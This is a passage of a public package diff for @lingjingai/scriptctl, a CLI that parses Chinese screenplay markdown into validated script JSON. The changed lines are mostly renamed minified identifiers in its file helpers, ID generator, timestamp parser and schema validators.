@lingjingai/scriptctl 0.71.0 → 0.72.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,5 +1,5 @@
1
- import{Command as Ov,CommanderError as Rv}from"commander";import*as vc from"node:crypto";import*as Ui from"node:fs";import*as Ir from"node:path";import*as Ue from"node:fs";import*as Mt from"node:path";var Us=class{workspace;constructor(t){this.workspace=t}get sourceText(){return Mt.join(this.workspace,"source.txt")}get directDir(){return Mt.join(this.workspace,"draft","scriptctl","direct")}get directScript(){return Mt.join(this.directDir,"script.initial.json")}get validation(){return Mt.join(this.directDir,"validation.json")}get runState(){return Mt.join(this.directDir,"run_state.json")}get episodeResultsDir(){return Mt.join(this.directDir,"episode_results")}get batchResultsDir(){return Mt.join(this.directDir,"batch_results")}outputScript(t){return Mt.join(t,"script.json")}};function Dw(e){let t="";for(let n of e)n==="*"?t+="[^/]*":n==="?"?t+="[^/]":".+^$()[]{}|\\".includes(n)?t+="\\"+n:t+=n;return new RegExp("^"+t+"$")}var bc=class{exists(t){return Ue.existsSync(t)}readText(t){return Ue.readFileSync(t,"utf-8")}writeText(t,n){Ue.mkdirSync(Mt.dirname(t),{recursive:!0}),Ue.writeFileSync(t,n,"utf-8")}readJson(t){return JSON.parse(Ue.readFileSync(t,"utf-8"))}writeJson(t,n){this.writeText(t,JSON.stringify(n,null,2)+`
2
- `)}list(t,n="*"){if(!Ue.existsSync(t))return[];let o=Dw(n),i=Ue.readdirSync(t),r=[];for(let s of i)o.test(s)&&r.push(Mt.join(t,s));return r.sort(),r}delete(t){Ue.existsSync(t)&&Ue.unlinkSync(t)}deleteTree(t){Ue.existsSync(t)&&Ue.rmSync(t,{recursive:!0,force:!0})}copyToPath(t,n){Ue.mkdirSync(Mt.dirname(n),{recursive:!0}),Ue.copyFileSync(t,n)}},Ps=new bc;var G=0,B=64,b=66,X=70,fo=78,mu=30;var Vv=Ir.join("draft","scriptctl","direct"),Gw=Ir.join("workspace","script.json");var gu=["\u4E0A\u53E4\u65F6\u4EE3","\u53E4\u4EE3\u5386\u53F2","\u53E4\u98CE\u67B6\u7A7A","\u8FD1\u4EE3\u6C11\u56FD","\u73B0\u4EE3","\u6B27\u6D32\u4E2D\u4E16\u7EAA","\u8D5B\u535A\u670B\u514B","\u661F\u9645\u65F6\u4EE3","\u897F\u5E7B\u67B6\u7A7A"],hu=new Set(["actor","location","prop"]);var $v=`scriptctl parse \u8F93\u5165 = \u4E00\u4E2A md \u5DE5\u4F5C\u533A\u76EE\u5F55\u3002\u6587\u4EF6\u6309\u804C\u8D23\u5206\u5F00\uFF0C\u4E92\u4E0D\u6DF7\u5199\uFF1A
1
+ import{Command as Ov,CommanderError as Rv}from"commander";import*as bc from"node:crypto";import*as Ni from"node:fs";import*as xr from"node:path";import*as Ue from"node:fs";import*as Mt from"node:path";var Ls=class{workspace;constructor(t){this.workspace=t}get sourceText(){return Mt.join(this.workspace,"source.txt")}get directDir(){return Mt.join(this.workspace,"draft","scriptctl","direct")}get directScript(){return Mt.join(this.directDir,"script.initial.json")}get validation(){return Mt.join(this.directDir,"validation.json")}get runState(){return Mt.join(this.directDir,"run_state.json")}get episodeResultsDir(){return Mt.join(this.directDir,"episode_results")}get batchResultsDir(){return Mt.join(this.directDir,"batch_results")}outputScript(t){return Mt.join(t,"script.json")}};function $w(e){let t="";for(let n of e)n==="*"?t+="[^/]*":n==="?"?t+="[^/]":".+^$()[]{}|\\".includes(n)?t+="\\"+n:t+=n;return new RegExp("^"+t+"$")}var kc=class{exists(t){return Ue.existsSync(t)}readText(t){return Ue.readFileSync(t,"utf-8")}writeText(t,n){Ue.mkdirSync(Mt.dirname(t),{recursive:!0}),Ue.writeFileSync(t,n,"utf-8")}readJson(t){return JSON.parse(Ue.readFileSync(t,"utf-8"))}writeJson(t,n){this.writeText(t,JSON.stringify(n,null,2)+`
2
+ `)}list(t,n="*"){if(!Ue.existsSync(t))return[];let o=$w(n),i=Ue.readdirSync(t),r=[];for(let s of i)o.test(s)&&r.push(Mt.join(t,s));return r.sort(),r}delete(t){Ue.existsSync(t)&&Ue.unlinkSync(t)}deleteTree(t){Ue.existsSync(t)&&Ue.rmSync(t,{recursive:!0,force:!0})}copyToPath(t,n){Ue.mkdirSync(Mt.dirname(n),{recursive:!0}),Ue.copyFileSync(t,n)}},Ns=new kc;var G=0,B=64,b=66,X=70,uo=78,fu=30;var Vv=xr.join("draft","scriptctl","direct"),Dw=xr.join("workspace","script.json");var mu=["\u4E0A\u53E4\u65F6\u4EE3","\u53E4\u4EE3\u5386\u53F2","\u53E4\u98CE\u67B6\u7A7A","\u8FD1\u4EE3\u6C11\u56FD","\u73B0\u4EE3","\u6B27\u6D32\u4E2D\u4E16\u7EAA","\u8D5B\u535A\u670B\u514B","\u661F\u9645\u65F6\u4EE3","\u897F\u5E7B\u67B6\u7A7A"],gu=new Set(["actor","location","prop"]);var $v=`scriptctl parse \u8F93\u5165 = \u4E00\u4E2A md \u5DE5\u4F5C\u533A\u76EE\u5F55\u3002\u6587\u4EF6\u6309\u804C\u8D23\u5206\u5F00\uFF0C\u4E92\u4E0D\u6DF7\u5199\uFF1A
3
3
 
4
4
  ep_001.md, ep_002.md, ... \u6B63\u6587\uFF08\u6BCF\u96C6\u4E00\u4E2A\uFF0C\u53EA\u653E\u5267\u672C\u672C\u8EAB\uFF09
5
5
  \u4EBA\u7269.md \u5168\u5267\u552F\u4E00\u4E00\u4EFD\u89D2\u8272\u767B\u8BB0\uFF08\u6240\u6709 worker \u5171\u540C\u5F80\u91CC\u52A0\uFF09
@@ -79,7 +79,7 @@ import{Command as Ov,CommanderError as Rv}from"commander";import*as vc from"node
79
79
  <\u6574\u90E8\u5168\u6587\u6897\u6982\uFF0C\u7EAF\u6587\u672C\uFF0C\u53EF\u591A\u884C>
80
80
 
81
81
  ==================== 7. \u5143\u4FE1\u606F.md\uFF08\u53EF\u9009\uFF0C\u6574\u90E8\u5143\u4FE1\u606F\uFF1B\u4E00\u822C\u7531 merger \u6536\u53E3\u65F6\u5199\uFF09 ====================
82
- worldview: <\u4E16\u754C\u89C2\uFF0C\u53D6\u8FD9\u4E9B\u679A\u4E3E\u4E4B\u4E00\uFF1A`+gu.join(" / ")+`>
82
+ worldview: <\u4E16\u754C\u89C2\uFF0C\u53D6\u8FD9\u4E9B\u679A\u4E3E\u4E4B\u4E00\uFF1A`+mu.join(" / ")+`>
83
83
  style: <\u98CE\u683C\uFF0C\u81EA\u7531\u6587\u672C\uFF0C\u5982 \u90FD\u5E02\u751C\u5BA0 / \u60AC\u7591\u590D\u4EC7>
84
84
  title: <\u5267\u540D>
85
85
  \u4E3B\u89D2: <\u4E3B\u89D2\u540D1>, <\u4E3B\u89D2\u540D2> \u2190 \u5217\u5728\u8FD9\u91CC\u7684\u8BBE\u4E3A role_type=\u4E3B\u89D2\uFF0C\u5176\u4F59\u89D2\u8272=\u914D\u89D2
@@ -119,30 +119,30 @@ Rules:
119
119
  - \u7FA4\u4F53\u8BCD\uFF08\u4F17\u4EBA / \u7FA4\u4F17 / \u56F4\u89C2\u8005 / \u8DEF\u4EBA\u4EEC\uFF09\u4E0D\u8FDB \u4EBA\u7269.md\uFF0C\u767B\u5230 \u53D1\u58F0\u6E90.md \u7528 group \u6216\u5199\u52A8\u4F5C\u65C1\u767D\u3002
120
120
  - \u52A8\u4F5C / \u5BF9\u767D\u6B63\u6587\u9010\u5B57\u4FDD\u7559\uFF0C\u4E0D\u8981\u8F6C\u8FF0 / \u7FFB\u8BD1 / \u6982\u62EC / \u52A0\u6CE8\u91CA\uFF1B\u52A8\u4F5C\u79CD\u7C7B\u53EA\u6709 act/dlg/think\u3002
121
121
  - \u6BCF\u4E2A\u51FA\u73B0\u5728\u6B63\u6587\u91CC\u7684\u89D2\u8272\uFF0C\u90FD\u8981\u5728 \u4EBA\u7269.md \u7ED9\u51FA\u975E\u7A7A\u63CF\u8FF0\uFF08\u5426\u5219\u6821\u9A8C\u62A5\u9519\uFF09\u3002
122
- `,S=class extends Error{exitCode;errorCode;hint;data;constructor(t,n){super(t),this.name="CliError",this.exitCode=n.exitCode,this.errorCode=n.errorCode,this.hint=n.hint,this.data=n.data??{}}};function Bw(e){return new Us(e)}function yu(e){return Bw(e).directDir}function me(e){let t=e.script_path??e.scriptPath;return Ir.resolve(typeof t=="string"&&t.length>0?t:Gw)}function Ar(e){return Ps.readJson(e)}function Oc(e,t){Ps.writeJson(e,t)}function Yo(e){return Ps.exists(e)}function _e(e){return vc.createHash("sha256").update(e,"utf-8").digest("hex")}function Rc(e){let t=vc.createHash("sha256"),n=Ui.openSync(e,"r");try{let o=Buffer.alloc(1048576);for(;;){let i=Ui.readSync(n,o,0,o.length,null);if(i<=0)break;t.update(o.subarray(0,i))}}finally{Ui.closeSync(n)}return t.digest("hex")}var Lt={policy:["content_blocked"],network:["dns_failed","connection_refused","connection_reset","network_unreachable","tls_failed","network_failed"],timeout:["connect_timeout","request_timeout","media_processing_timeout"],rate_limit:["rate_limited"],authentication:["authentication_failed"],authorization:["permission_denied"],provider:["resource_not_found","provider_unavailable","request_rejected","attempts_exhausted"],media:["media_upload_failed","media_processing_failed","media_too_large","unsupported_media"],response:["output_truncated","empty_response","malformed_response"],pipeline:["serial_parse_failed","source_mismatch","pipeline_mismatch"],validation:["script_validation_failed"],cancelled:["cancelled"],unknown:["unknown","legacy_unclassified"]};function Nt(e,t){return typeof e=="string"&&t.some(n=>n===e)}function wu(e,t){switch(e){case"policy":return Nt(t,Lt.policy)?{failure_type:e,failure_code:t}:null;case"network":return Nt(t,Lt.network)?{failure_type:e,failure_code:t}:null;case"timeout":return Nt(t,Lt.timeout)?{failure_type:e,failure_code:t}:null;case"rate_limit":return Nt(t,Lt.rate_limit)?{failure_type:e,failure_code:t}:null;case"authentication":return Nt(t,Lt.authentication)?{failure_type:e,failure_code:t}:null;case"authorization":return Nt(t,Lt.authorization)?{failure_type:e,failure_code:t}:null;case"provider":return Nt(t,Lt.provider)?{failure_type:e,failure_code:t}:null;case"media":return Nt(t,Lt.media)?{failure_type:e,failure_code:t}:null;case"response":return Nt(t,Lt.response)?{failure_type:e,failure_code:t}:null;case"pipeline":return Nt(t,Lt.pipeline)?{failure_type:e,failure_code:t}:null;case"validation":return Nt(t,Lt.validation)?{failure_type:e,failure_code:t}:null;case"cancelled":return Nt(t,Lt.cancelled)?{failure_type:e,failure_code:t}:null;case"unknown":return Nt(t,Lt.unknown)?{failure_type:e,failure_code:t}:null;default:return null}}function Ut(e,t){return{...e,...t}}function Pi(e){switch(e.failure_type){case"policy":return{failure_type:e.failure_type,failure_code:e.failure_code};case"network":return{failure_type:e.failure_type,failure_code:e.failure_code};case"timeout":return{failure_type:e.failure_type,failure_code:e.failure_code};case"rate_limit":return{failure_type:e.failure_type,failure_code:e.failure_code};case"authentication":return{failure_type:e.failure_type,failure_code:e.failure_code};case"authorization":return{failure_type:e.failure_type,failure_code:e.failure_code};case"provider":return{failure_type:e.failure_type,failure_code:e.failure_code};case"media":return{failure_type:e.failure_type,failure_code:e.failure_code};case"response":return{failure_type:e.failure_type,failure_code:e.failure_code};case"pipeline":return{failure_type:e.failure_type,failure_code:e.failure_code};case"validation":return{failure_type:e.failure_type,failure_code:e.failure_code};case"cancelled":return{failure_type:e.failure_type,failure_code:e.failure_code};case"unknown":return{failure_type:e.failure_type,failure_code:e.failure_code}}}function kr(e){return{...e.provider!==void 0?{provider:e.provider}:{},...e.model!==void 0?{model:e.model}:{},...e.operation!==void 0?{operation:e.operation}:{},...e.http_status!==void 0?{http_status:e.http_status}:{},...e.system_code!==void 0?{system_code:e.system_code}:{},...e.provider_source!==void 0?{provider_source:e.provider_source}:{},...e.provider_reason!==void 0?{provider_reason:e.provider_reason}:{},...e.provider_reason_raw!==void 0?{provider_reason_raw:e.provider_reason_raw}:{},...e.finish_message!==void 0?{finish_message:e.finish_message}:{},...e.safety_ratings!==void 0?{safety_ratings:e.safety_ratings}:{},...e.details!==void 0?{details:e.details}:{}}}function _u(e,t){if(e.length===0)return Ut({failure_type:"unknown",failure_code:"unknown"},{retryable:!1,message:t});let n=e[0],i=e.every(r=>r.failure_type===n.failure_type&&r.failure_code===n.failure_code)?Pi(n):{failure_type:"provider",failure_code:"attempts_exhausted"};return Ut(i,{retryable:e.some(r=>r.retryable),message:t})}function hn(e){let t=e.provider||e.model?`${e.provider??"provider"}/${e.model??"model"} `:"",n=e.provider_reason?` provider_reason=${e.provider_reason}`:"",o=e.system_code?` system_code=${e.system_code}`:"",i=e.http_status!==void 0?` http_status=${e.http_status}`:"",r=e.details?.length?` | ${e.details.join(" | ")}`:"";return`${t}${e.failure_type}/${e.failure_code}${n}${o}${i}: ${e.message}${r}`}import*as Pu from"node:crypto";import*as Cu from"node:fs";import*as Tu from"node:path";import*as vu from"node:crypto";var Tn=["action","dialogue","inner_thought","transition"],qt=new Set(Tn),Vn=["system","broadcast","offscreen","group"],qo=new Set(Vn),$n=["featured","background"],Pt=new Set($n),Ci=["\u4E3B\u89D2","\u914D\u89D2"],mo=new Set(Ci),Cs=["day","night","dawn","dusk"],Mc=new Set(Cs);function br(e){return typeof e=="string"&&Mc.has(e)}var Lc=["interior","exterior"],Eu=new Set(Lc);function lt(e){return e.normalize("NFKC").toLowerCase()}function xu(e){return JSON.stringify([e.code,e.path,e.message])}function Nc(e){let t=new Map;for(let n of e){let o=xu(n);t.set(o,(t.get(o)??0)+1)}return t}function Uc(e,t){if(e.ok||t.errors.length>=e.errors.length)return!1;let n=Nc(e.errors),o=Nc(t.errors);for(let[i,r]of o)if(r>(n.get(i)??0))return!1;return!0}function Pc(e,t){let n=Nc(e),o=[];for(let i of t){let r=xu(i),s=n.get(r)??0;s>0?n.set(r,s-1):o.push(i)}return o}import{customAlphabet as Jw}from"nanoid";var Ti="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz",Cc=6,Vi={episode:"ep",scene:"scn",action:"ac",actor:"act",location:"loc",prop:"prp",state:"st"},Kw=Jw(Ti,Cc),jw=`[${Ti}]`,Su=Object.fromEntries(Object.entries(Vi).map(([e,t])=>[e,new RegExp(`^${t}${jw}{${Cc}}$`)]));function V(e,t){return typeof t=="string"&&Su[e].test(t)}var Tc="ID_SPACE_EXHAUSTED";function vr(e,t=new Set,n=Kw){let o=Vi[e];for(let i=0;i<128;i++){let r=`${o}${n()}`;if(!t.has(r))return r}throw Object.assign(new Error(`Could not generate an unused ${e} ID after 128 attempts.`),{code:Tc})}var et=class extends Error{input;constructor(t,n){super(n),this.input=t,this.name="TimestampParseError"}},zw=/^(\d+):(\d{2})(?:\.(\d{1,3}))?$/,Hw=/^(\d+):(\d{2}):(\d{2})(?:\.(\d{1,3}))?$/;function Iu(e){return e?Number(e.padEnd(3,"0")):0}function Au(e,t){if(!Number.isSafeInteger(t))throw new et(e,"Timestamp exceeds the supported numeric range.");return t}function ku(e,t){let n=Math.floor(e/1e3),o=Math.floor(n/3600),i=Math.floor(n%3600/60),r=n%60,s=t?`.${t}`:"";return o>0?`${o}:${String(i).padStart(2,"0")}:${String(r).padStart(2,"0")}${s}`:`${String(i).padStart(2,"0")}:${String(r).padStart(2,"0")}${s}`}function go(e){let t=e.trim();if(!t)throw new et(e,"Timestamp must not be empty.");let n=t.match(Hw);if(n){let a=Number(n[1]),d=Number(n[2]),p=Number(n[3]),l=n[4];if(d>59)throw new et(e,"Hour-form timestamps require minutes between 00 and 59.");if(p>59)throw new et(e,"Timestamp seconds must be between 00 and 59.");let f=Au(e,((a*60+d)*60+p)*1e3+Iu(l));return{canonical:ku(f,l),milliseconds:f,fractionDigits:l?.length??0}}let o=t.match(zw);if(!o)throw new et(e,"Use M:SS, MM:SS, or H:MM:SS with an optional 1-3 digit fraction.");let i=Number(o[1]),r=Number(o[2]),s=o[3];if(r>59)throw new et(e,"Timestamp seconds must be between 00 and 59.");let c=Au(e,(i*60+r)*1e3+Iu(s));return{canonical:ku(c,s),milliseconds:c,fractionDigits:s?.length??0}}function Qw(e){if(typeof e!="object"||e===null||Array.isArray(e))return;let t=e.extend;if(!(typeof t!="object"||t===null||Array.isArray(t)))return t.timestamp}function Fw(e,t){let n=e.milliseconds-t.milliseconds;return e.fractionDigits===0||t.fractionDigits===0?n>=1e3:n>0}function Ts(e,t,n){let o=null;e.forEach((i,r)=>{let s=Qw(i);if(s===void 0)return;let c=`${t}[${r}].extend.timestamp`;if(typeof s!="string"){n("timestamp_invalid",c,"timestamp must be a string in M:SS, MM:SS, or H:MM:SS form");return}let a;try{a=go(s)}catch(d){if(!(d instanceof et))throw d;n("timestamp_invalid",c,d.message);return}o!==null&&Fw(o.timestamp,a)&&n("timestamp_out_of_order",c,`timestamp ${a.canonical} is earlier than Action ${o.actionIndex+1} timestamp ${o.timestamp.canonical}; equal timestamps and sub-second differences against a whole-second mark are allowed`),o={actionIndex:r,timestamp:a}})}var yt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),Dn=e=>Array.isArray(e),Ie=e=>typeof e=="string",Yw=["state_changes","actor_id","speakers","lines"];function wt(e){let t=[],n=[],o=(u,y,m,g)=>t.push({code:u,path:y,message:m,...g?{repair_hint:g}:{}}),i=(u,y,m)=>n.push({code:u,path:y,message:m});if(!yt(e))return{ok:!1,errors:[{code:"not_object",path:"$",message:"script must be an object"}],warnings:n};e.version!==3&&o("version","$.version","version must be 3");for(let u of["title","worldview","style"])Ie(e[u])||o("field",`$.${u}`,`${u} must be a string`);let r=new Map,s=new Map,c=new Map,a=(u,y,m,g,w)=>{if(!Dn(u)){o("field",w,`${w} must be an array`);return}u.forEach((h,_)=>{let x=`${w}[${_}]`;if(!yt(h)){o("asset",x,"asset must be an object");return}let E=h[m];if(!Ie(E)){o("asset_id",`${x}.${m}`,`${m} required`);return}if(s.has(E)&&o("dup_id",`${x}.${m}`,`duplicate id ${E}`),s.set(E,y),!Ie(h[g]))o("asset_name",`${x}.${g}`,`${g} required`);else if(y==="actor"){let M=lt(h[g]),I=c.get(M);I!==void 0?o("dup_actor_name",`${x}.${g}`,`actor name ${h[g]} already belongs to ${I}`):c.set(M,E)}(!Ie(h.importance)||!$n.includes(h.importance))&&o("importance",`${x}.importance`,`importance must be one of ${$n.join("|")}`),Ie(h.description)||o("asset_desc",`${x}.description`,"description must be a string");let A=new Set,k=new Set,N=0;!Dn(h.states)||h.states.length===0?o("states",`${x}.states`,"states must be a non-empty array"):h.states.forEach((M,I)=>{let O=`${x}.states[${I}]`;if(!yt(M)||!Ie(M.state_id)){o("state_id",O,"state_id required");return}A.has(M.state_id)&&o("dup_state",O,`duplicate state_id ${M.state_id}`),A.add(M.state_id),M.state_id==="default"&&N++,Ie(M.state_name)?(k.has(M.state_name)&&o("dup_state_name",`${O}.state_name`,`duplicate state_name ${M.state_name}`),k.add(M.state_name)):o("state_name",`${O}.state_name`,"state_name required")}),Dn(h.states)&&N!==1&&o("default_state",`${x}.states`,`exactly one 'default' state required, found ${N}`),r.set(E,A)})};a(e.actors,"actor","actor_id","actor_name","$.actors"),a(e.locations,"location","location_id","location_name","$.locations"),a(e.props,"prop","prop_id","prop_name","$.props");let d=(u,y,m,g)=>{if(s.get(u)!==m){o("ref",g,`${m} ${u} not found`);return}y!==void 0&&(!Ie(y)||!r.get(u)?.has(y))&&o("state_ref",g,`state ${String(y)} not materialized on ${u}`)},p=(u,y,m,g)=>{if(u===void 0){o("field",g,`${g} required (may be empty array)`);return}if(!Dn(u)){o("field",g,`${g} must be an array`);return}u.forEach((w,h)=>{if(!yt(w)||!Ie(w[m])){o("ref",`${g}[${h}]`,`${m} required`);return}d(w[m],w.state_id,y,`${g}[${h}]`)})},l=(u,y,m,g)=>{if(!yt(u)){o("action",y,"action must be an object");return}for(let h of Yw)h in u&&o("legacy_field",`${y}.${h}`,`v3 forbids action.${h}`);let w=u.type;if((!Ie(w)||!Tn.includes(w))&&o("action_type",`${y}.type`,`invalid action type ${String(w)}`),Ie(u.content)||o("content",`${y}.content`,"content must be a plain-text string"),w==="dialogue"||w==="inner_thought"){let h=u.speaker;if(!yt(h))o("speaker",`${y}.speaker`,"dialogue/inner_thought needs a speaker");else if("kind"in h)(!Ie(h.kind)||!Vn.includes(h.kind))&&o("speaker_kind",`${y}.speaker.kind`,"invalid non-actor speaker kind");else if(Ie(h.actor_id)){if(d(h.actor_id,h.state_id,"actor",`${y}.speaker`),!m.has(h.actor_id)){let _=r.get(h.actor_id),x=Ie(h.state_id)&&_?.has(h.state_id)?h.state_id:_?.has("default")?"default":_?.values().next().value,E=g&&x?`scriptctl scene-ref ${g} actor:${h.actor_id} --state ${x} -p "$SCRIPT"`:void 0;o("actor_not_in_scene",`${y}.speaker.actor_id`,`actor ${h.actor_id} is not referenced by this scene`,E)}}else o("speaker",`${y}.speaker`,"speaker needs actor_id or kind")}},f=e.episodes;return Dn(f)?f.forEach((u,y)=>{let m=`$.episodes[${y}]`;if(!yt(u)||!Ie(u.episode_id)){o("episode_id",m,"episode_id required");return}if(!Dn(u.scenes)){o("scenes",`${m}.scenes`,"scenes must be an array");return}u.scenes.forEach((g,w)=>{let h=`${m}.scenes[${w}]`;if(!yt(g)){o("scene",h,"scene must be an object");return}"context"in g&&o("legacy_field",`${h}.context`,"v3 forbids scene.context"),Ie(g.scene_id)||o("scene_id",h,"scene_id required");let _=g.environment;_===void 0||yt(_)&&(!Ie(_.time)||_.time.trim()==="")?i("scene_time_missing",`${h}.environment.time`,"scene time is required for production review"):!yt(_)||_.space!==void 0&&!Ie(_.space)||!Ie(_.time)?o("environment",`${h}.environment`,"environment must contain optional string space and a time string"):br(_.time)||o("scene_time",`${h}.environment.time`,"scene time must be day|night|dawn|dusk"),(g.environment===void 0||yt(g.environment)&&(!Ie(g.environment.space)||g.environment.space.trim()===""))&&i("scene_space_missing",`${h}.environment.space`,"scene interior/exterior is required for production review"),g.location===null&&i("scene_location_missing",`${h}.location`,"scene location is required for production review");let x=g.location;if(x!==null&&(!yt(x)||!Ie(x.location_id)?o("location",`${h}.location`,"location must be null or {location_id}"):d(x.location_id,x.state_id,"location",`${h}.location`)),p(g.actors,"actor","actor_id",`${h}.actors`),p(g.props,"prop","prop_id",`${h}.props`),Dn(g.props)){let A=new Set;g.props.forEach((k,N)=>{!yt(k)||!Ie(k.prop_id)||(A.has(k.prop_id)&&o("dup_prop_ref",`${h}.props[${N}]`,`duplicate prop ref ${k.prop_id}`),A.add(k.prop_id))})}let E=new Set(Dn(g.actors)?g.actors.filter(A=>yt(A)).map(A=>A.actor_id).filter(A=>Ie(A)):[]);if(!Dn(g.actions))o("actions",`${h}.actions`,"actions must be an array");else{let A=Ie(g.scene_id)?`${u.episode_id}/${g.scene_id}`:void 0;g.actions.forEach((k,N)=>l(k,`${h}.actions[${N}]`,E,A)),Ts(g.actions,`${h}.actions`,o)}})}):o("episodes","$.episodes","episodes must be an array"),{ok:t.length===0,errors:t,warnings:n}}var tt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),de=e=>typeof e=="string",yn=e=>Array.isArray(e);function Vc(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(Vc):tt(e)&&Object.values(e).every(Vc)}function $i(e,t,n){e!==void 0&&(!tt(e)||!Object.values(e).every(Vc))&&n("extend",t,"extend must be an object containing JSON values")}function qw(e){for(let t=1;t<e.length;t++)if(e[t-1]>e[t])return!1;return!0}function Pe(e){let t=[],n=[],o=(u,y,m,g)=>t.push({code:u,path:y,message:m,...g?{repair_hint:g}:{}}),i=(u,y,m,g)=>n.push({code:u,path:y,message:m,...g?{repair_hint:g}:{}});if(!tt(e))return{ok:!1,errors:[{code:"not_object",path:"$",message:"script must be an object"}],warnings:n};e.version!==4&&o("version","$.version","version must be 4");for(let u of["title","worldview","style"])de(e[u])||o("field",`$.${u}`,`${u} must be a string`);for(let u of["worldview_raw","synopsis","logline","theme"])e[u]!==void 0&&!de(e[u])&&o("field",`$.${u}`,`${u} must be a string`);e.main_characters!==void 0&&(!yn(e.main_characters)||!e.main_characters.every(u=>tt(u)&&de(u.name)&&de(u.role)))&&o("main_characters","$.main_characters","main_characters must contain {name, role} string records"),$i(e.extend,"$.extend",o);let r=new Map,s=new Map,c=new Set,a=(u,y,m,g,w)=>{if(!yn(u)){o("field",w,`${w} must be an array`);return}let h=new Set;u.forEach((_,x)=>{let E=`${w}[${x}]`;if(!tt(_)){o("asset",E,"asset must be an object");return}let A=_[m];if(!V(y,A)){o("asset_id",`${E}.${m}`,`${m} must be ${y} ID`);return}if(h.has(A)&&o("dup_id",`${E}.${m}`,`duplicate ${m} ${A}`),h.add(A),r.set(A,y),!de(_[g])||_[g].trim()==="")o("asset_name",`${E}.${g}`,`${g} must be a non-empty string`);else if(y==="actor"){let I=_[g].trim().toLocaleLowerCase();c.has(I)&&o("dup_actor_name",`${E}.${g}`,`duplicate actor name ${_[g]}`),c.add(I)}if((!de(_.importance)||!$n.includes(_.importance))&&o("importance",`${E}.importance`,`importance must be ${$n.join("|")}`),y==="actor"&&_.role_type!==void 0&&(!de(_.role_type)||!Ci.includes(_.role_type))&&o("role_type",`${E}.role_type`,`role_type must be ${Ci.join("|")}`),de(_.description)||o("asset_desc",`${E}.description`,"description must be a string"),_.aliases!==void 0&&(!yn(_.aliases)||!_.aliases.every(de)))o("aliases",`${E}.aliases`,"aliases must be an array of strings");else if(yn(_.aliases)&&_.aliases.every(de)){let I=new Set,O=de(_[g])?_[g]:"";_.aliases.forEach((U,C)=>{U===""&&o("alias_empty",`${E}.aliases[${C}]`,"alias must not be empty"),U===O&&o("alias_equals_name",`${E}.aliases[${C}]`,"alias must differ from the asset name"),I.has(U)&&o("dup_alias",`${E}.aliases[${C}]`,`duplicate alias ${U}`),I.add(U)})}$i(_.extend,`${E}.extend`,o);let k=new Set,N=new Set,M=0;!yn(_.states)||_.states.length===0?o("states",`${E}.states`,"states must be a non-empty array"):_.states.forEach((I,O)=>{let U=`${E}.states[${O}]`;if(!tt(I)){o("state",U,"state must be an object");return}let C=I.state_id;if(C!=="default"&&!V("state",C)){o("state_id",`${U}.state_id`,"state_id must be default or st plus six Base58 characters");return}k.has(C)&&o("dup_state",`${U}.state_id`,`duplicate state_id ${C}`),k.add(C),C==="default"&&M++,!de(I.state_name)||I.state_name.trim()===""?o("state_name",`${U}.state_name`,"state_name must be a non-empty string"):(N.has(I.state_name)&&o("dup_state_name",`${U}.state_name`,`duplicate state_name ${I.state_name}`),N.add(I.state_name)),de(I.description)||o("state_description",`${U}.description`,"description must be a string"),$i(I.extend,`${U}.extend`,o)}),M!==1&&o("default_state",`${E}.states`,`exactly one default state required, found ${M}`),s.set(A,k)})};a(e.actors,"actor","actor_id","actor_name","$.actors"),a(e.locations,"location","location_id","location_name","$.locations"),a(e.props,"prop","prop_id","prop_name","$.props");let d=(u,y,m)=>{if(!yn(y)||y.length===0||!y.every(de))return o("state_ids",m,"state_ids must be a non-empty array of strings"),[];let g=y,w=new Set;return g.forEach((h,_)=>{w.has(h)&&o("dup_state_ref",`${m}[${_}]`,`duplicate state_id ${h}`),w.add(h),s.get(u)?.has(h)||o("state_ref",`${m}[${_}]`,`state ${h} not found on ${u}`)}),qw(g)||o("state_ids_order",m,"state_ids must be sorted lexically"),g},p=new Set,l=new Set,f=new Set;return yn(e.episodes)?e.episodes.forEach((u,y)=>{let m=`$.episodes[${y}]`;if(!tt(u)){o("episode",m,"episode must be an object");return}V("episode",u.episode_id)?(p.has(u.episode_id)&&o("dup_episode_id",`${m}.episode_id`,`duplicate episode_id ${u.episode_id}`),p.add(u.episode_id)):o("episode_id",`${m}.episode_id`,"episode_id must be ep plus six Base58 characters");for(let g of["title","synopsis"])u[g]!==void 0&&!de(u[g])&&o("field",`${m}.${g}`,`${g} must be a string`);if($i(u.extend,`${m}.extend`,o),!yn(u.scenes)){o("scenes",`${m}.scenes`,"scenes must be an array");return}u.scenes.forEach((g,w)=>{let h=`${m}.scenes[${w}]`;if(!tt(g)){o("scene",h,"scene must be an object");return}V("scene",g.scene_id)?(l.has(g.scene_id)&&o("dup_scene_id",`${h}.scene_id`,`duplicate scene_id ${g.scene_id}`),l.add(g.scene_id)):o("scene_id",`${h}.scene_id`,"scene_id must be scn plus six Base58 characters"),$i(g.extend,`${h}.extend`,o),g.environment===void 0||tt(g.environment)&&(!de(g.environment.time)||g.environment.time.trim()==="")?i("scene_time_missing",`${h}.environment.time`,"scene time is required for production review"):!tt(g.environment)||g.environment.space!==void 0&&!de(g.environment.space)||!de(g.environment.time)?o("environment",`${h}.environment`,"environment must contain optional string space and a time string"):br(g.environment.time)||o("scene_time",`${h}.environment.time`,"scene time must be day|night|dawn|dusk"),(g.environment===void 0||tt(g.environment)&&(!de(g.environment.space)||g.environment.space.trim()===""))&&i("scene_space_missing",`${h}.environment.space`,"scene interior/exterior is required for production review"),g.location===null&&i("scene_location_missing",`${h}.location`,"scene location is required for production review"),g.location!==null&&(!tt(g.location)||!V("location",g.location.location_id)?o("location",`${h}.location`,"location must be null or a typed v4 location reference"):("state_id"in g.location&&o("v3_field",`${h}.location.state_id`,"Script v4 scene references use state_ids"),r.get(g.location.location_id)!=="location"&&o("location_ref",`${h}.location.location_id`,`location ${g.location.location_id} not found`),d(g.location.location_id,g.location.state_ids,`${h}.location.state_ids`)));let _=new Map,x=(E,A,k,N)=>{if(!yn(E)){o("field",N,`${N} must be an array`);return}let M=new Set;E.forEach((I,O)=>{let U=`${N}[${O}]`;if(!tt(I)||!V(A,I[k])){o("ref",U,`${k} must be a typed v4 ID`);return}let C=I[k];"state_id"in 